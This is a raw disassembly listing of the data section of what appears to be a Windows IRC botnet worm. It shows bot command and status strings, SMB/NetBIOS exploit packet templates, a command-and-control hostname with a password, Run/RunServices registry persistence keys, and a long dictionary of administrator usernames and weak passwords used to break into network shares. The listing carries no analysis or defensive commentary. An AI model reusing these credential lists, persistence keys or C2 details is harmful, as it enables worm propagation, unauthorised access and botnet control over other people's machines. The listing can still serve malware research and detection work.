		db 0BBh	; »
		db 2, 2	dup(20h)
aCrcFailedDD_	db 'CRC Failed (%d != %d).',0
		align 10h
unk_429110	db    2			; DATA XREF: sub_40A3AD+1F9o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	64h, 6Fh
		db  77h	; w
		db 6Eh,	6Ch, 6Fh
		db  61h	; a
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFilesizeIsInco	db 'Filesize is incorrect: (%d != %d).',0
		align 4
unk_429154	db    2			; DATA XREF: sub_40A3AD+1AAo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	64h, 6Fh
		db  77h	; w
		db 6Eh,	6Ch, 6Fh
		db  61h	; a
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aUpdateSDkbTran	db 'Update: %s (%dKB transferred).',0
		align 4
unk_429194	db    2			; DATA XREF: sub_40A3AD+198o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	64h, 6Fh
		db  77h	; w
		db 6Eh,	6Ch, 6Fh
		db  61h	; a
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFileDownloadSD	db 'File download: %s (%dKB transferred).',0
		align 4
unk_4291DC	db    2			; DATA XREF: sub_40A3AD+77o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	64h, 6Fh
		db  77h	; w
		db 6Eh,	6Ch, 6Fh
		db  61h	; a
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCouldnTOpenFil	db 'Couldn',27h,'t open file: %s.',0
aUnknown	db 'Unknown',0          ; DATA XREF: sub_40A9A6:loc_40A9E9o
					; sub_40BB90+104o
aInvalid	db 'Invalid',0          ; DATA XREF: sub_40A9A6:loc_40A9E3o
aDisk		db 'Disk',0             ; DATA XREF: sub_40A9A6:loc_40A9DDo
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_40A9A6:loc_40A9D7o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_40A9A6:loc_40A9D1o
		align 4
off_42923C	dd offset word_4D4152	; DATA XREF: sub_40A9A6:loc_40A9CBo
aFailed		db 'failed',0           ; DATA XREF: sub_40AA37:loc_40AB0Fo
					; sub_40AB52+3Eo
		align 4
aSkb		db '%sKB',0             ; DATA XREF: sub_40AA37+6Bo
		align 10h
unk_429250	db    2			; DATA XREF: sub_40AB52+94o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	63h, 6Fh
		db  72h	; r
		db 65h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aSDriveSSTotalS	db '%s Drive (%s): %s total, %s free, %s available.',0
unk_42929C	db    2			; DATA XREF: sub_40AB52+5Bo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	63h, 6Fh
		db  72h	; r
		db 65h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aSDriveSFailedT	db '%s Drive (%s): Failed to stat, device not ready.',0
		align 4
off_4292EC	dd offset byte_5C3A41	; DATA XREF: sub_40AC2A:loc_40AC6Fo
dword_4292F0	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0					; sub_40ADCF+3D7o
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_42933C	dd 3000005h, 10h, 18h, 1, 3 dup(0)					; sub_40ADCF+416o
; ---------------------------------------------------------------------------


loc_429358:				; DATA XREF: sub_40ADCF+2F2o
					; sub_40ADCF+44Bo
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_42936C	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_40ADCF+316o
					; sub_40ADCF+472o
unk_429380	db  81h	; 		; DATA XREF: sub_40ADCF+8Co
		db 2 dup(0), 44h
aCkfdenecfdef_0	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aEkedfeeiedcaca	db ' EKEDFEEIEDCACACACACACACACACACAAA',0
		dd 0
dword_4293CC	dd 2F000000h, 424D53FFh, 72h, 4	dup(0)		dd 25C0000h, 0
		dd 2000C00h, 4C20544Eh,	2E30204Dh, 3231h
dword_429400	dd 48000000h, 424D53FFh, 73h, 4	dup(0)		dd 25C0000h, 0
		dd 0FF0Dh, 2FFFF00h, 25C00h, 2 dup(0)
		dd 1000000h, 0B000000h,	6E000000h, 79700074h, 626D73h
		dd 0
dword_429450	dd 65706970h, 6D70655Ch, 65707061h, 72hdword_429460	dd 73255C5Ch, 5Chdword_429468	dd 626D6153h, 2A2061hdword_429470	dd 646E6957h, 2073776Fh, 312E35hdword_42947C	dd 646E6957h, 2073776Fh, 302E35haWindows2000Lan	db 'Windows 2000 LAN Manager*',0 ; DATA XREF: sub_40ADCF+1BBo
		align 4
aNtLanManager_	db 'NT LAN Manager *.*',0 ; DATA XREF: sub_40ADCF+1A1o
		align 4
aWindowsServer2	db 'Windows Server 2003 *.*',0 ; DATA XREF: sub_40ADCF+186o
aSSS		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40B2B5+58o
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_40B2B5+16o
					; sub_40CC09+620o
aNotice		db 'NOTICE',0           ; DATA XREF: sub_40B2B5+Fo
					; sub_40CC09+62Co
		align 10h
off_4294F0	dd offset off_4295B4	; DATA XREF: sub_40B350+6Dr
					; sub_40B734+50r ...
off_4294F4	dd offset aAdded	; DATA XREF: sub_40B350+2Dr
					; sub_40B734+82r ...
					; "Added"
dword_4294F8	dd 0				dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_0	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 429564h, 42955Ch,	2, 429550h, 429544h, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: seg001:00429524o
aStop_0		db 'Stop',0             ; DATA XREF: seg001:00429520o
		align 4
aStarted	db 'Started',0          ; DATA XREF: seg001:00429518o
aStart_0	db 'Start',0            ; DATA XREF: seg001:00429514o
		align 4
aListed		db 'Listed',0           ; DATA XREF: seg001:0042950Co
		align 4
aList_0		db 'List',0             ; DATA XREF: seg001:00429508o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: seg001:00429500o
aDelete_0	db 'Delete',0           ; DATA XREF: seg001:004294FCo
		align 4
aAdded		db 'Added',0            ; DATA XREF: seg001:off_4294F4o
		align 4
off_4295B4	dd offset byte_646441	; DATA XREF: seg001:off_4294F0o
unk_4295B8	db    2			; DATA XREF: sub_40B350+74o
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aSNoServiceSpec	db ' %s: No service specified.',0
		align 10h
unk_4295F0	db    2			; DATA XREF: sub_40B350+55o
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aErrorWithServi	db ' Error with service: ',27h,'%s',27h,'. %s',0
		align 4
unk_42962C	db    2			; DATA XREF: sub_40B350+38o
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aSServiceS_	db ' %s service: ',27h,'%s',27h,'.',0
		align 4
aAnUnknownErr_0	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_40B479+12Co
		align 10h
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_40B479:loc_40B591o
		align 10h
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_40B479:loc_40B58Ao
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_40B479:loc_40B583o
		db 'the state of the service.',0
		align 10h
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_40B479:loc_40B57Co
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_40B479:loc_40B575o
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_40B479:loc_40B56Eo
		align 10h
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_40B479:loc_40B567o
		align 10h
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_40B479:loc_40B560o
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_40B479:loc_40B559o
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_40B479:loc_40B552o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_40B479:loc_40B527o
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_40B479:loc_40B520o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_40B479:loc_40B519o
		db 'tServiceCtrlDispatcher.',0
		align 10h
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_40B479:loc_40B512o
		align 10h
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_40B479+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_40B479:loc_40B4E7o
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_40B479:loc_40B4DDo
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_40B479:loc_40B4D3o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_40B479:loc_40B4C9o
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_40B479:loc_40B4BFo
		align 10h
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_40B479+3Co
		align 4
aSSS_0		db '%s: %s (%s)',0      ; DATA XREF: sub_40B5F7+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_40B5F7:loc_40B6C3o
aStarting	db '   Starting',0      ; DATA XREF: sub_40B5F7:loc_40B6BCo
aStoping	db '    Stoping',0      ; DATA XREF: sub_40B5F7:loc_40B6B5o
aRunning	db '    Running',0      ; DATA XREF: sub_40B5F7:loc_40B6AEo
aContinuing	db ' Continuing',0      ; DATA XREF: sub_40B5F7:loc_40B6A7o
aPausing	db '    Pausing',0      ; DATA XREF: sub_40B5F7:loc_40B6A0o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_40B5F7:loc_40B699o
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_40B5F7+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_40B5F7+25o
		align 4
unk_429B94	db    2			; DATA XREF: sub_40B734+ABo
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aSNoShareSpecif	db ' %s: No share specified.',0
		align 4
unk_429BCC	db    2			; DATA XREF: sub_40B734+89o
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aSShareS_	db ' %s share: ',27h,'%s',27h,'.',0
		align 4
unk_429BFC	db    2			; DATA XREF: sub_40B734+57o
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aSErrorWithShar	db ' %s: Error with share: ',27h,'%s',27h,'. %s',0
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_40B929+D0o
		align 10h
aNo		db 'No',0               ; DATA XREF: sub_40B929+BCo
		align 4
off_429C54	dd offset byte_736559	; DATA XREF: sub_40B929+B5o
unk_429C58	db    2			; DATA XREF: sub_40B929+76o
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareListError	db ' Share list error: %s <%ld>',0
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_40B929+26o
		align 4
unk_429CC8	db    2			; DATA XREF: sub_40BA4A+B6o
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aSNoUsernameSpe	db ' %s: No username specified.',0
unk_429D00	db    2			; DATA XREF: sub_40BA4A+94o
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aSErrorWithUser	db ' %s: Error with username: ',27h,'%s',27h,'. %s',0
		align 10h
unk_429D40	db    2			; DATA XREF: sub_40BA4A+6Do
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aSUsernameS_	db ' %s username: ',27h,'%s',27h,'.',0
unk_429D70	db    2			; DATA XREF: sub_40BB90+394o
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aUserInfoErrorL	db ' User info error: <%ld>',0
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_40BB90+36Ao
		align 4
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_40BB90+33Fo
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_40BB90+317o
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_40BB90+2ECo
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_40BB90+2C4o
		align 4
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_40BB90+299o
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_40BB90+271o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_40BB90+246o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_40BB90+21Eo
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_40BB90+1F3o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_40BB90+1CBo
		align 10h
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_40BB90+1A0o
		align 10h
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_40BB90+178o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_40BB90+14Do
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_40BB90+125o
aGuest		db 'Guest',0            ; DATA XREF: sub_40BB90:loc_40BCA9o
		align 10h
aUser_1		db 'User',0             ; DATA XREF: sub_40BB90:loc_40BCA2o
		align 4
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_40BB90:loc_40BC9Bo
					; seg001:0042A4A0o ...
		align 4
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_40BB90+D4o
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_40BB90+ACo
		align 4
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_40BB90+81o
		align 4
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_40BB90+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_40BF5E+14Fo
		align 4
unk_429F3C	db    2			; DATA XREF: sub_40BF5E+F7o
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aAnAccessViolat	db ' An access violation has occured.',0
		align 4
aS_4		db '  %S',0             ; DATA XREF: sub_40BF5E+BEo
		align 4
unk_429F84	db    2			; DATA XREF: sub_40BF5E+7Ao
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aUserListErrorS	db ' User list error: %s <%ld>',0
		align 4
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_40BF5E+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_40C0DE:loc_40C1FBo
		align 10h
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_40C0DE:loc_40C1F4o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_40C0DE:loc_40C1EDo
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_40C0DE:loc_40C1E6o
		align 4
aAnUnknownError	db 'An unknown error occurred.',0 ; DATA XREF: sub_40C0DE:loc_40C1DFo
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_40C0DE:loc_40C1C2o
		db 'ord policy requirement.)',0
		align 10h
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_40C0DE:loc_40C1BBo
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_40C0DE:loc_40C1B4o
		align 10h
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_40C0DE+CFo
		db ' the domain.',0
		align 10h
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_40C0DE:loc_40C189o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_40C0DE:loc_40C182o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_40C0DE:loc_40C17Bo
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_40C0DE:loc_40C171o
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_40C0DE+89o
		align 10h
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_40C0DE:loc_40C14Bo
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_40C0DE:loc_40C141o
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_40C0DE:loc_40C137o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_40C0DE:loc_40C12Do
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_40C0DE:loc_40C123o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_40C0DE+3Bo
		align 10h
unk_42A2A0	db    2			; DATA XREF: sub_40C212+ABo
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aSServerSMessag	db ' %s <Server: %S> <Message: %S>',0
		align 4
unk_42A2DC	db    2			; DATA XREF: sub_40C212+81o
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aMessageSentSuc	db ' Message sent successfully.',0
dword_42A314	dd 1B58h						; sub_40C2D0+5C6r
dword_42A318	dd 1A0Bh	dword_42A31C	dd 1AA6h	dword_42A320	dd 45h							; sub_40CC09+49E0r
dword_42A324	dd 158Dh						; sub_40CC09:loc_4116DBr
		dd 201h
dword_42A32C	dd 1		dword_42A330	dd 1							; sub_40C2D0:loc_40C61Er
byte_42A334	db 78h			; DATA XREF: sub_40A8F0:loc_40A8FCr
					; sub_40CC09+AF3r ...
		align 4
dword_42A338	dd 9							; sub_41274C+51r ...
dword_42A33C	dd 1							; sub_40CC09+27Cr ...
dword_42A340	dd 1		aNt801		db 'nt801',0            ; DATA XREF: sub_40C2D0+6Ao
					; sub_40CC09+38FBo ...
		align 4
aNk0_1		db 'nk0.1',0
		align 4
aHi		db 'hi',0               ; DATA XREF: sub_40CC09+55C6o
					; sub_40CC09+5695o
		align 4
aHome_najd_us	db 'home.najd.us',0     ; DATA XREF: sub_40C2D0+4FEo
					; sub_40C2D0+5B7o
		align 4
off_42A368	dd offset byte_646423	; DATA XREF: sub_40C2D0+51Fo
					; sub_40C2D0+5CDo
aDpass		db 'dpass',0            ; DATA XREF: sub_40C2D0+536o
					; sub_40C2D0+5DFo
		align 4
byte_42A374	db 68h			; DATA XREF: sub_40C2D0:loc_40C8C5r
					; sub_40C2D0+603o
		db 6Fh,	6Dh, 65h
		dd 6A616E2Eh, 73752E64h, 0
off_42A384	dd offset byte_646423	; DATA XREF: sub_40C2D0+619o
aDpass_0	db 'dpass',0            ; DATA XREF: sub_40C2D0+62Bo
		align 10h
byte_42A390	db 54h			; DATA XREF: sub_402F48+3Eo
					; sub_4039C9+89o ...
		db 69h,	6Ch, 65h
		dd 656D6F68h, 6D6F632Eh, 0
		dd 7379656Bh, 2E6D6F68h, 747874h
aWindowsTilehom	db 'Windows Tilehome',0 ; DATA XREF: sub_409A42+Eo
		align 10h
aCc		db 'Cc-',0              ; DATA XREF: sub_41274C+12o
aTilehome_com	db 'Tilehome.com',0
		align 4
aXI		db '+x+i',0             ; DATA XREF: sub_40CC09+570Eo
		align 4
off_42A3DC	dd offset byte_636323	; DATA XREF: sub_40CC09:loc_40FA1Fo
					; sub_40CC09+4832o
		dd 63636323h, 0
dword_42A3E8	dd 63636323h, 0	off_42A3F0	dd offset a@room	; DATA XREF: sub_40CC09:loc_41222Bo
					; "*@room"
off_42A3F4	dd offset aMirc1_6_99	; DATA XREF: sub_40CC09+8C6r
					; sub_40CC09+563Eo
					; "mirc	1.6.99"
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 10h
aSoftwareMicros	db 'Software\Microsoft\OLE',0
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0
		align 10h
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrater ; "administrater"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aStaff	; "staff"
		dd offset aRoot		; "root"
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aGuest_0	; "guest"
		dd offset aDefault	; "default"
		dd offset aDatabase	; "database"
		dd offset aDb1		; "db1"
		dd offset aOracle	; "oracle"
		dd offset aDirector	; "Director"
		dd offset aOfficial	; "Official"
		dd offset aDirector_0	; "director"
		dd offset aAdministrative ; "administrative"
		dd offset aManagement	; "management"
		dd offset aUser_0	; "USER"
		dd 0
		dd offset byte_438A10
		dd offset aAdministrato_1 ; "ADMINISTRATOR"
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aFubar	; "fubar"
		dd offset off_431200
		dd offset aGuest_1	; "GUEST"
		dd offset aRoot_0	; "ROOT"
		dd offset aRoot		; "root"
		dd offset aAdmin_0	; "ADMIN"
		dd offset aPassword	; "PASSWORD"
		dd offset aTemp		; "TEMP"
		dd offset aShare_0	; "SHARE"
		dd offset aWrite	; "WRITE"
		dd offset aFull_0	; "FULL"
		dd offset aLadeda	; "ladeda"
		dd offset aBoth		; "BOTH"
		dd offset aRead		; "READ"
		dd offset aFiles	; "FILES"
		dd offset aDemo		; "DEMO"
		dd offset aOwner_0	; "OWNER"
		dd offset aOwner_1	; "Owner"
		dd offset off_431180
		dd offset aTest		; "TEST"
		dd offset aAccess	; "ACCESS"
		dd offset aUser_0	; "USER"
		dd offset aBackup	; "BACKUP"
		dd offset aSystem_0	; "SYSTEM"
		dd offset aServer_1	; "SERVER"
		dd offset aPepsi	; "pepsi"
		dd offset aLocal	; "LOCAL"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aChangeme_0	; "Changeme"
		dd offset aTemp123	; "temp123"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a654321	; "654321"
		dd offset a54321	; "54321"
		dd offset a111		; "111"
		dd offset a11111111	; "11111111"
		dd offset a88888888	; "88888888"
		dd offset aPass_0	; "pass"
		dd offset aPasswd	; "passwd"
		dd offset aDatabase	; "database"
		dd offset aAbcd		; "abcd"
		dd offset aAbc123	; "abc123"
		dd offset aOracle	; "oracle"
		dd offset aSybase	; "sybase"
		dd offset a123qwe	; "123qwe"
		dd offset aComputer	; "computer"
		dd offset aInternet	; "Internet"
		dd offset aSuper	; "super"
		dd offset a123asd	; "123asd"
		dd offset aIhavenopass	; "ihavenopass"
		dd offset aGodblessyou	; "godblessyou"
		dd offset aEnable	; "enable"
		dd offset aXp_0		; "xp"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2600		; "2600"
		dd offset a110		; "110"
		dd offset a111111	; "111111"
		dd offset a121212	; "121212"
		dd offset a123123	; "123123"
		dd offset a1234qwer	; "1234qwer"
		dd offset a123abc	; "123abc"
		dd offset a007		; "007"
